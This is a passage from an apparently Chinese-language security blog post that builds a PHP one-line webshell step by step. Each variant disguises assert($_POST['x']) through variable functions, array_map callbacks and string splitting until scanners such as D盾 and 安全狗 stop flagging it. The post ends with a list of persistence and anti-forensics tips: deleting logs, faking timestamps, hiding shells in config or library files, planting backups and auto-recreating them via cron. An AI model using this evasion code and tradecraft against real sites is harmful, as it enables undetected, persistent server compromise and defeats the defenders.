</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_1_huec863fcd991b5a860115d0c8c96bde80_5855_662x287_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_1_huec863fcd991b5a860115d0c8c96bde80_5855_662x287_resize_q75_h2_box_3.webp title=直接执行 height=287 width=662 loading=lazy></p><h4 id=动态函数执行><a href=#动态函数执行 class="header-mark headerLink">动态函数执行</a></h4><p>我们先把一个函数名当成一个字符串传递给一个变量,在使用变量当作函数去执行</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=nv>$a</span><span class=o>=</span><span class=s2>"phpinfo"</span><span class=p>;</span><span class=nv>$a</span><span class=p>();</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_2_hud8157cb6d9106b602ec0932930b24243_52079_780x550_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_2_hud8157cb6d9106b602ec0932930b24243_52079_780x550_resize_q75_h2_box_3.webp title=动态函数执行 height=550 width=780 loading=lazy></p><h4 id=文件包含执行><a href=#文件包含执行 class="header-mark headerLink">文件包含执行</a></h4><p>有两个php文件,我们把执行命令的放在文件b中,使用文件a去包含,达到执行的效果</p><p>b.php</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=o>@</span><span class=k>eval</span><span class=p>(</span><span class=s1>'echo 这是输出;'</span><span class=p>);</span>
</span></span></code></pre></td></tr></table></div></div></div><p>a.php</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=k>include</span> <span class=nx>a</span><span class=o>.</span><span class=nx>php</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_3_hu2c4d58ea186c37b1f1e5b25a8657d838_10945_498x270_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_3_hu2c4d58ea186c37b1f1e5b25a8657d838_10945_498x270_resize_q75_h2_box_3.webp title=文件包含执行 height=270 width=498 loading=lazy></p><h3 id=回调函数><a href=#回调函数 class="header-mark headerLink">回调函数</a></h3><p>将想要执行命令的函数赋值给一个变量,再用一个可以调用函数执行的函数把变量解析成函数,这么说可能有点绕,看一下array_map函数的用法:array_map函数中将$arr每个元素传给func函数去执行,例子:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=nv>$func</span> <span class=o>=</span> <span class=s1>'system'</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=nv>$arr</span> <span class=o>=</span> <span class=k>array</span><span class=p>(</span><span class=s1>'whoami'</span><span class=p>);</span>
</span></span><span class=line><span class=cl><span class=nx>array_map</span><span class=p>(</span><span class=nv>$func</span><span class=p>,</span> <span class=nv>$arr</span><span class=p>);</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_4_hueaa531329eca728081a84c07d452ef70_23161_641x339_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_4_hueaa531329eca728081a84c07d452ef70_23161_641x339_resize_q75_h2_box_3.webp title=回调函数 height=339 width=641 loading=lazy></p><h3 id=php-curly-syntax><a href=#php-curly-syntax class="header-mark headerLink">PHP Curly Syntax</a></h3><p>我们可以理解为字符串中掺杂了变量,再使用变量去拼接字符串,达到命令执行的效果</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=nv>$a</span> <span class=o>=</span> <span class=s1>'p'</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=k>eval</span><span class=p>(</span><span class=s2>"</span><span class=si>{</span><span class=nv>$a</span><span class=si>}</span><span class=s2>hpinfo();"</span><span class=p>);</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_5_hudcfd1c86d9ff9f14b24e2faec4f797e4_54254_858x497_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_5_hudcfd1c86d9ff9f14b24e2faec4f797e4_54254_858x497_resize_q75_h2_box_3.webp title=Syntax height=497 width=858 loading=lazy></p><h3 id=php反序列化><a href=#php反序列化 class="header-mark headerLink">php反序列化</a></h3><p>这是根据php反序列化漏洞来实现命令执行,可以先创建一个反序列化的漏洞文件,再去调用反序列化函数unserialize</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span><span class=lnt>6
</span><span class=lnt>7
</span><span class=lnt>8
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=k>class</span> <span class=nc>test</span><span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=k>public</span> <span class=nv>$a</span><span class=o>=</span><span class=s2>"123"</span><span class=p>;</span>
</span></span><span class=line><span class=cl> <span class=k>public</span> <span class=k>function</span> <span class=fm>__wakeup</span><span class=p>(){</span>
</span></span><span class=line><span class=cl> <span class=k>eval</span><span class=p>(</span><span class=nv>$this</span><span class=o>-></span><span class=na>a</span><span class=p>);</span>
</span></span><span class=line><span class=cl> <span class=p>}</span>
</span></span><span class=line><span class=cl><span class=p>}</span>
</span></span><span class=line><span class=cl><span class=nx>unserialize</span><span class=p>(</span><span class=s1>'O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}'</span><span class=p>);</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_6_hue52bdce1b600a1d8b0407ac4def148f1_42914_812x537_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_6_hue52bdce1b600a1d8b0407ac4def148f1_42914_812x537_resize_q75_h2_box_3.webp title=php反序列化 height=537 width=812 loading=lazy></p><h3 id=phpinput方法><a href=#phpinput方法 class="header-mark headerLink">php://input方法</a></h3><p>php://input可以访问请求的原始数据的只读流,我们可以理解为我们传post参数,php://input会读取到,这时候我们就可以加以利用了。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=o>@</span><span class=k>eval</span><span class=p>(</span><span class=nx>file_get_contents</span><span class=p>(</span><span class=s1>'php://input'</span><span class=p>));</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_7_hua8d9397dcecd727e09eafc004016d4c0_186907_1080x586_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_7_hua8d9397dcecd727e09eafc004016d4c0_186907_1080x586_resize_q75_h2_box_3.webp title=php://input方法 height=586 width=1080 loading=lazy></p><h3 id=preg_replace方法><a href=#preg_replace方法 class="header-mark headerLink">preg_replace方法</a></h3><p>preg_replace函数执行一个正则表达式的搜索和替换。我们可以使用一个命令执行函数去替换正常的字符串,然后去执行命令。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=k>echo</span> <span class=nx>preg_replace</span><span class=p>(</span><span class=s2>"/test/e"</span><span class=p>,</span><span class=nx>phpinfo</span><span class=p>(),</span><span class=s2>"jutst test"</span><span class=p>);</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_8_hu2bcc87098c6bbdd36c27901ba3c08e7f_53111_936x502_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_8_hu2bcc87098c6bbdd36c27901ba3c08e7f_53111_936x502_resize_q75_h2_box_3.webp title=preg_replace方法 height=502 width=936 loading=lazy></p><h3 id=ob_start><a href=#ob_start class="header-mark headerLink">ob_start</a></h3><p>ob_start函数是打开输出控制缓冲,传入的参数会在使用ob_end_flush函数的时候去调用它执行输出在缓冲区的东西。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=nv>$cmd</span> <span class=o>=</span> <span class=s1>'system'</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=nx>ob_start</span><span class=p>(</span><span class=nv>$cmd</span><span class=p>);</span>
</span></span><span class=line><span class=cl><span class=k>echo</span> <span class=s2>"whoami"</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=nx>ob_end_flush</span><span class=p>();</span><span class=c1>//输出全部内容到浏览器
</span></span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_9_hu8b212336840fc1c0d957a1964b8cb0f7_21740_714x326_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_9_hu8b212336840fc1c0d957a1964b8cb0f7_21740_714x326_resize_q75_h2_box_3.webp title=ob_start height=326 width=714 loading=lazy></p><h2 id=编写免杀><a href=#编写免杀 class="header-mark headerLink">编写免杀</a></h2><p>上面说了那么多其实都是一句话木马的思路,每一种方式都可以写成一句话木马,而想要免杀常常会多种组合到一起,下面从最简单的木马一步步变形,达到免杀的目的。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=nx>assert</span><span class=p>(</span><span class=nv>$_POST</span><span class=p>[</span><span class=s1>'x'</span><span class=p>]);</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_10_hu2afc3390c23b7b6f7590d3d1d6f0dd3f_29786_844x581_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_10_hu2afc3390c23b7b6f7590d3d1d6f0dd3f_29786_844x581_resize_q75_h2_box_3.webp title=5级 height=581 width=844 loading=lazy></p><p>这种就是最简单的一句话木马,使用D盾扫一下,可以看到5级,没有什么好说的。</p><p>动态函数方法,把assert这个函数赋值两次变量,再把变量当成函数执行。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=nv>$c</span> <span class=o>=</span> <span class=s2>"assert"</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=nv>$c</span><span class=p>(</span><span class=nv>$_POST</span><span class=p>[</span><span class=s1>'x'</span><span class=p>]);</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_11_hu3e5f8c092f0b7d4c0b94c8dfe8c50c65_30259_844x581_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_11_hu3e5f8c092f0b7d4c0b94c8dfe8c50c65_30259_844x581_resize_q75_h2_box_3.webp title=4级 height=581 width=844 loading=lazy></p><p>回调函数方法,把assert函数当作参数传给array_map去调用执行。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=nv>$fun</span> <span class=o>=</span> <span class=s1>'assert'</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=nx>array_map</span><span class=p>(</span><span class=nv>$fun</span><span class=p>,</span><span class=k>array</span><span class=p>(</span><span class=nv>$_POST</span><span class=p>[</span><span class=s1>'x'</span><span class=p>]));</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_12_hu99b5d973ac06bbc3e0ff9685aa3102bb_30165_845x581_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_12_hu99b5d973ac06bbc3e0ff9685aa3102bb_30165_845x581_resize_q75_h2_box_3.webp title=4级 height=581 width=845 loading=lazy></p><p>可以看到上面的都是通过两种方法的结合,简单的处理一下,就变成了4级,感兴趣的可以把其他的方法都尝试一下,4级的很简单,我们去看看3级的都是怎么处理的</p><p>通过上面的动态函数方法我们可以思考,函数可以当成字符串赋值给变量,那么变量也一定能当成字符串赋值给变量,但调用时需要用$$</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=nv>$a</span> <span class=o>=</span> <span class=s2>"assert"</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=nv>$c</span> <span class=o>=</span><span class=s1>'a'</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=nv>$$c</span><span class=p>(</span><span class=nv>$_POST</span><span class=p>[</span><span class=s1>'x'</span><span class=p>]);</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_13_hu6a3e1c51c2e0c295fdc6e85265639084_30221_844x581_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_13_hu6a3e1c51c2e0c295fdc6e85265639084_30221_844x581_resize_q75_h2_box_3.webp title=3级 height=581 width=844 loading=lazy></p><p>我们在把这种方法结合到回调函数方法中,可以看到,已经是2级了</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=nv>$fun</span> <span class=o>=</span> <span class=s1>'assert'</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=nv>$f</span> <span class=o>=</span> <span class=s1>'fun'</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=nx>array_map</span><span class=p>(</span><span class=nv>$$f</span><span class=p>,</span><span class=k>array</span><span class=p>(</span><span class=nv>$_POST</span><span class=p>[</span><span class=s1>'x'</span><span class=p>]));</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_14_hub50b6884ea01b7a46090001d79a243b0_30197_845x581_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_14_hub50b6884ea01b7a46090001d79a243b0_30197_845x581_resize_q75_h2_box_3.webp title=2级 height=581 width=845 loading=lazy></p><p>这时候我们看一下D盾中的说明:array_map中的参数可疑,我们这时候可以用函数封装一下参数</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=k>function</span> <span class=nf>ass</span><span class=p>(){</span>
</span></span><span class=line><span class=cl> <span class=nv>$a</span> <span class=o>=</span> <span class=s2>"a451.ass.aaa.ert.adaww"</span><span class=p>;</span>
</span></span><span class=line><span class=cl> <span class=nv>$b</span> <span class=o>=</span> <span class=nx>explode</span><span class=p>(</span><span class=s1>'.'</span><span class=p>,</span><span class=nv>$a</span><span class=p>);</span>
</span></span><span class=line><span class=cl> <span class=nv>$c</span> <span class=o>=</span> <span class=nv>$b</span><span class=p>[</span><span class=mi>1</span><span class=p>]</span> <span class=o>.</span> <span class=nv>$b</span><span class=p>[</span><span class=mi>3</span><span class=p>];</span>
</span></span><span class=line><span class=cl> <span class=k>return</span> <span class=nv>$c</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=p>}</span>
</span></span><span class=line><span class=cl><span class=nv>$b</span> <span class=o>=</span> <span class=k>array</span><span class=p>(</span><span class=nv>$_POST</span><span class=p>[</span><span class=s1>'x'</span><span class=p>]);</span>
</span></span><span class=line><span class=cl><span class=nv>$c</span> <span class=o>=</span> <span class=nx>ass</span><span class=p>();</span>
</span></span><span class=line><span class=cl><span class=nx>array_map</span><span class=p>(</span><span class=nv>$c</span><span class=p>,</span><span class=nv>$b</span><span class=p>);</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_15_hue00e5697a33a14d7a10038f6bed474fb_30324_844x581_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_15_hue00e5697a33a14d7a10038f6bed474fb_30324_844x581_resize_q75_h2_box_3.webp title=1级 height=581 width=844 loading=lazy></p><p>1级了,离目标近在咫尺了,这时候我们应该考虑让一句话木马像正常的代码,在好好的封装一下</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span><span class=lnt>18
</span><span class=lnt>19
</span><span class=lnt>20
</span><span class=lnt>21
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o><?</span><span class=nx>php</span>
</span></span><span class=line><span class=cl><span class=nx>functiondownloadFile</span><span class=p>(</span><span class=nv>$url</span><span class=p>,</span><span class=nv>$x</span><span class=p>){</span>
</span></span><span class=line><span class=cl> <span class=nv>$ary</span> <span class=o>=</span> <span class=nx>parse_url</span><span class=p>(</span><span class=nv>$url</span><span class=p>);</span>
</span></span><span class=line><span class=cl> <span class=nv>$file</span> <span class=o>=</span> <span class=nx>basename</span><span class=p>(</span><span class=nv>$ary</span><span class=p>[</span><span class=s1>'path'</span><span class=p>]);</span>
</span></span><span class=line><span class=cl> <span class=nv>$ext</span> <span class=o>=</span> <span class=nx>explode</span><span class=p>(</span><span class=s1>'.'</span><span class=p>,</span><span class=nv>$file</span><span class=p>);</span>
</span></span><span class=line><span class=cl> <span class=c1>// assert
</span></span></span><span class=line><span class=cl><span class=c1></span> <span class=nv>$exec1</span><span class=o>=</span><span class=nx>substr</span><span class=p>(</span><span class=nv>$ext</span><span class=p>[</span><span class=mi>0</span><span class=p>],</span><span class=mi>3</span><span class=p>,</span><span class=mi>1</span><span class=p>);</span>
</span></span><span class=line><span class=cl> <span class=nv>$exec2</span><span class=o>=</span><span class=nx>substr</span><span class=p>(</span><span class=nv>$ext</span><span class=p>[</span><span class=mi>0</span><span class=p>],</span><span class=mi>5</span><span class=p>,</span><span class=mi>1</span><span class=p>);</span>
</span></span><span class=line><span class=cl> <span class=nv>$exec3</span><span class=o>=</span><span class=nx>substr</span><span class=p>(</span><span class=nv>$ext</span><span class=p>[</span><span class=mi>0</span><span class=p>],</span><span class=mi>5</span><span class=p>,</span><span class=mi>1</span><span class=p>);</span>
</span></span><span class=line><span class=cl> <span class=nv>$exec4</span><span class=o>=</span><span class=nx>substr</span><span class=p>(</span><span class=nv>$ext</span><span class=p>[</span><span class=mi>0</span><span class=p>],</span><span class=mi>4</span><span class=p>,</span><span class=mi>1</span><span class=p>);</span>
</span></span><span class=line><span class=cl> <span class=nv>$exec5</span><span class=o>=</span><span class=nx>substr</span><span class=p>(</span><span class=nv>$ext</span><span class=p>[</span><span class=mi>0</span><span class=p>],</span><span class=mi>7</span><span class=p>,</span><span class=mi>2</span><span class=p>);</span>
</span></span><span class=line><span class=cl> <span class=nv>$as</span><span class=p>[</span><span class=mi>0</span><span class=p>]</span> <span class=o>=</span> <span class=nv>$exec1</span> <span class=o>.</span> <span class=nv>$exec2</span> <span class=o>.</span> <span class=nv>$exec3</span> <span class=o>.</span> <span class=nv>$exec4</span> <span class=o>.</span> <span class=nv>$exec5</span><span class=p>;</span>
</span></span><span class=line><span class=cl> <span class=nv>$as</span><span class=p>[</span><span class=mi>1</span><span class=p>]</span> <span class=o>=</span> <span class=nv>$x</span><span class=p>;</span>
</span></span><span class=line><span class=cl> <span class=k>return</span> <span class=nv>$as</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=p>}</span>
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl><span class=nv>$a</span> <span class=o>=</span> <span class=nv>$_POST</span><span class=p>[</span><span class=s1>'x'</span><span class=p>];</span>
</span></span><span class=line><span class=cl><span class=nv>$s</span> <span class=o>=</span> <span class=nx>downloadFile</span><span class=p>(</span><span class=s1>'http://www.baidu.com/asdaesfrtafga.txt'</span><span class=p>,</span><span class=nv>$a</span><span class=p>);</span>
</span></span><span class=line><span class=cl><span class=nv>$b</span> <span class=o>=</span> <span class=nv>$s</span><span class=p>[</span><span class=mi>0</span><span class=p>];</span>
</span></span><span class=line><span class=cl><span class=nv>$c</span> <span class=o>=</span> <span class=nv>$s</span><span class=p>[</span><span class=mi>1</span><span class=p>];</span>
</span></span><span class=line><span class=cl><span class=nx>array_map</span><span class=p>(</span><span class=nv>$b</span><span class=p>,</span><span class=k>array</span><span class=p>(</span><span class=nv>$c</span><span class=p>));</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/security/web-security/hide-your-webshell/ex_16_hu6b13db84172005f67aad3a46a58a5a68_28899_845x581_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_16_hu6b13db84172005f67aad3a46a58a5a68_28899_845x581_resize_q75_h2_box_3.webp title=免杀 height=581 width=845 loading=lazy></p><p>再试试其他免杀工具。</p><p>WebShellKiller:</p><p><img src=/posts/security/web-security/hide-your-webshell/ex_17_hu4f310e46a11473291d0bace3bca4e647_49036_740x520_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_17_hu4f310e46a11473291d0bace3bca4e647_49036_740x520_resize_q75_h2_box_3.webp title=WebShellKiller height=520 width=740 loading=lazy></p><p>安全狗:</p><p><img src=/posts/security/web-security/hide-your-webshell/ex_18_hu68a1b2dadde3adf5d601fa990f392b41_32502_902x602_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_18_hu68a1b2dadde3adf5d601fa990f392b41_32502_902x602_resize_q75_h2_box_3.webp title=安全狗 height=602 width=902 loading=lazy></p><p>微步云沙箱:</p><p><img src=/posts/security/web-security/hide-your-webshell/ex_19_hua5ac026cb9960f669926a899600388ff_53882_1004x568_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_19_hua5ac026cb9960f669926a899600388ff_53882_1004x568_resize_q75_h2_box_3.webp title=微步云沙箱 height=568 width=1004 loading=lazy></p><p>再试试可不可以连接没有问题,完美!!</p><p><img src=/posts/security/web-security/hide-your-webshell/ex_20_hu4698517c26c830e386e3d43086c2a553_27891_1024x633_resize_q75_h2_box_3.webp alt=/posts/security/web-security/hide-your-webshell/ex_20_hu4698517c26c830e386e3d43086c2a553_27891_1024x633_resize_q75_h2_box_3.webp title=菜刀 height=633 width=1024 loading=lazy></p><h2 id=更好的隐藏webshell一些建议><a href=#更好的隐藏webshell一些建议 class="header-mark headerLink">更好的隐藏webshell一些建议</a></h2><ol><li><p>拿到权限以后,把网站日志中的所有关于webshell的访问记录和渗透时造成的一些网站报错记录全部删除</p></li><li><p>把webshell的属性时间改为和同目录文件相同的时间戳,比如Linux中的touch就是非常好的工具</p></li><li><p>目录层级越深越好,平时网站不出问题的话,一般四五级目录很少会被注意到,尽量藏在那些程序员和管理员都不会经常光顾的目录中比如:第三方工具的一些插件目录,主题目录,编辑器的图片目录以及一些临时目录</p></li><li><p>利用php.ini 配置文件隐藏webshell,把webshell的路径加入到配置文件中</p></li><li><p>尝试利用静态文件隐藏一句话,然后用.htaccess 规则进行解析</p></li><li><p>上传个精心构造的图片马,然后再到另一个不起眼的正常的网站脚本文件中去包含这个图片马</p></li><li><p>靠谱的方法就是直接把一句话插到正常的网站脚本文件里面,当然最好是在一个不起眼的地方,比如:函数库文件,配置文件里面等等,以及那些不需要经常改动的文件</p></li><li><p>如果有可能的话,还是审计下目标的代码,然后想办法在正常的代码中构造执行我们自己的webshell,即在原生代码中执行webshell</p></li><li><p>webshell里面尽量不要用类似eval这种过于敏感的特征,因为awk一句话就能查出来,除了eval,还有,比如:exec,system,passthru,shell_exec,assert这些函数都最好不要用,你可以尝试写个自定义函数,不仅能在一定程度上延长webshell的存活时间也加大了管理员的查找难度,也可以躲避一些功能比较简陋waf查杀,此外,我们也可以使用一些类似:call_user_func,call_user_func_array,诸如此类的回调函数特性来构造我们的webshell,即伪造正常的函数调用</p></li><li><p>webshell的名字千万不要太扎眼,比如:hack.php,sb.php,x.php这样的名字严禁出现……,在给webshell起名的时候尽量跟当前目录的,其他文件的名字相似度高一点,这样相对容易混淆视听,比如:目录中有个叫new.php的文件,那你就起个news.php</p></li><li><p>如果是大马的话,尽量把里面的一些注释和作者信息全部都去掉,比如intitle字段中的版本信息等等,用任何大马之前最好先好好的读几遍代码,把里面的shell箱子地址全部去掉推荐用开源的大马,然后自己拿过来仔细修改,记住,我们的webshell尽量不要用加密,因为加密并不能很好的解决waf问题,还有,大马中一般都会有个pass或者password字符,建议把这些敏感字段全部换成别的,因为利用这样的字符基本一句话就能定位到</p></li><li><p>养成一个好习惯,为了防止权限很快丢失,最好再同时上传几个备用webshell,注意,每个webshell的路径和名字千万不要都一样更不要在同一个目录下,多跳几层,记住,确定shell正常访问就可以了,不用再去尝试访问看看解析是否正常,因为这样就会在日志中留下记录,容易被查到</p></li><li><p>当然,如果在拿到服务器权限以后,也可以自己写个脚本每隔一段时间检测下自己的webshell是否还存在,不存在就创建</p></li><li><p>在有权限的情况,看看管理员是否写的有动态webshell监测脚本,务必把脚本找出来,crontab一般都能看见了</p></li></ol>]]></description></item></channel></rss>